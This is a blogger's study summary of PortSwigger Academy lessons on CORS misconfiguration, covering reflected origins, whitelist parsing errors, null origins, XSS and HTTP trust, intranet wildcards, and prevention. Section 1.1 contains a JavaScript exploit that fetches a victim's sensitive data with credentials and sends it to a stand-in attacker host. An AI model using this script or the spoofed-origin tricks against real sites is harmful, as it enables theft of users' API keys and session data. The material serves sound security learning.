This article is my summary note after learning on the PortSwigger Academy. If you curious about the Academy, You can visit the PortSwigger Academy in this link.
Cross Origin Resource Sharing (CORS) provide potential for cross domain attacks, if a website Cross Origin Resource Sharing (CORS) is poorly configured and implemented. Cross Origin Resource Sharing (CORS) is not a protection against cross origin attacks such as Cross Site Request Forgery (CSRF).
Many modern websites are use Cross Origin Resource Sharing (CORS) to allow access from subdomain and trusted third parties. Their implementation may contain mistakes not be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities.
Same Origin Policy
The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain. The same-origin policy was defined many years ago in response to potentially malicious cross-domain interactions, such as one website stealing private data from another. It generally allows a domain to issue requests to other domains, but not to access the response.
Relaxation of the same-origin policy
The same-origin policy is very restrictive and consequently various approaches have devised to circumvent the constraints. Many websites interact with subdomains or third-party sites in a way that requires full cross origin access. A controlled relaxation of the same-origin policy is possible using Cross Origin Resource Sharing (CORS). The cross-origin resource sharing protocol uses a suite of HTTP headers that define trusted web origins and associated properties such as wether authenticated access is permitted. These are combined in a header exchange between a browser and the cross-origin web site that it is trying to access.
1. Attacks
1.1 Server generated ACAO header from client-specified Origin header
Some application need to provide access to a number of other domains. Maintaining a list of allowed domains requires ongoing effort, and may mistakes risk breaking functionality. So some applications take the easy route of effectively allowing access from any other domain.
One way to do this is by reading the Origin header from requests including a response header stating that the requesting origin is allowed.
For example, consider an application that receives the following request:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
It then responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
These headers state that access is allowed from the requesting domain (malicious-website.com
) and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials
) and so will be processed in-session.
Because the application reflects arbitrary origins in the Access-Control-Allow-Origin
header, this means that absolutely any domain can access resources from the vulnerabilities domain. If the response contains any sensitive information such an API key or Cross Site Request Forgery (CSRF) token, you could retrieve this by placing the following script on your website:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
1.2 Errors parsing Origin headers
Some applications that support access from multiple origins do so by using whitelist of allowed origins. When a Cross Origin Resource Sharing (CORS) request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin
header so that access is granted.
For example, the application receives a normal request like:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
This application checks the supplied origin its list of allowed origins and, if it is on the list, reflects the origin as follows:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
Mistaken often arise when implementing Cross Origin Resource Sharing (CORS) origin whitelists. Some organizations decide to allow access from all their subdomains (including future subdomains not yet in existence). And some applications allow access from various other organizations domains including their subdomains. These rules are often implemented by matching URL prefixes or suffixes, or using regular expressions. Any mistakes in the implementation can lead to access being granted to unintended external domains. For example, suppose an application grants access to all domains ending in:
normal-website.com
An attacker might be able to gain access by registering the domain:
hackersnormal-website.com
Alternatively, suppose an application grants to access all domains beginning with:
normal-website.com
An attacker might be able to gain access using the domain:
normal-website.com.evil-user.net
1.3 Whitelisted null origin value
The specification for the Origin header supports the value null
. Browsers might send the value null
in the Origin header in various unusual situations:
- Cross origin redirects
- Requests from serialized data
- Request using the
file:
protocol - Sandboxed cross-origin request
1.4 Exploiting XSS via CORS trust relationship
Even “correctly” configured Cross Origin Resource Sharing (CORS) established a trust relationship between two origins. If a website trusts an origin that is vulnerable Cross Site Scripting (XSS), then an attacker could exploit the Cross Site Scripting (XSS) to inject some. Javascript that uses Cross Origin Resource Sharing (CORS) to retrieve sensitive information from the site that trusts the vulnerable application. Given the following request:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
If the server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Then an attacker who finds an Cross Site Scripting (XSS) vulnerability on https://subdomain.vulnerable-website.com
could use that to retrieve the API key, using a URL like:
https://subdomain.vulnerable-website.com?xss=<script>cors-stuff-here</script>
1.5 Breaking TLS with poorly configured CORS
supposed an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For example, when the application receives the following request:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
The application responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
1.6 Intranets and CORS without credentials
Most Cross Origin Resource Sharing (CORS) attacks rely on the presence of the response header:
Access-Control-Allow-Credentials: true
Without that header, the Victim user browser will refuse to send their cookies, meaning the Attacker will only gain access to unauthenticated content, which could just as easily access by browsing directly to the target website.
However, there is one common situation where an attacker can’t access a website directly: when it’s part of an organization’s intranet and located within private IP address space, Internal websites are often held to a lower security standard than external sites, enabling attackers to find vulnerabilities and gain further access.
For example, a cross-origin request within a private network may be as follows:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
And the server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
2. Prevention
2.1 Proper configuration of cross-origin requests
If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin
header.
2.2 Only allow trusted sites
It may seem obvious but origin specified in the Access-Control-Allow-Origin
header should only be sites that are trusted. In particular, dynamically reflecting origins from cross-origin requests without validation is readily exploitable and should be avoided.
2.3 Avoid whitelisting null
Avoid using the header Access-Control-Allow-Origin: null
. Cross-origin resources calls from internal documents and sandboxed requests can specify the null
origin. Cross Origin Resource Sharing (CORS) headers should be properly defined in respect of trusted origins for private and public servers.
2.4 Avoid wildcards in internal networks
Avoid using wildcards in internal networks. Trusting network configuration alone to protect internal resources is not sufficient when internal browsers can access untrusted external domains.
2.5 CORS is not a substitute for server-side security policies
Cross Origin Resource Sharing (CORS) defines browser behaviors and is never replacement for server-side protection of sensitive data. An attacker can directly forge a request from any trusted origin. Therefore, web servers should continue to apply protections over sensitive data, such as authentication and session management, in addition to properly confgured Cross Origin Resource Sharing (CORS).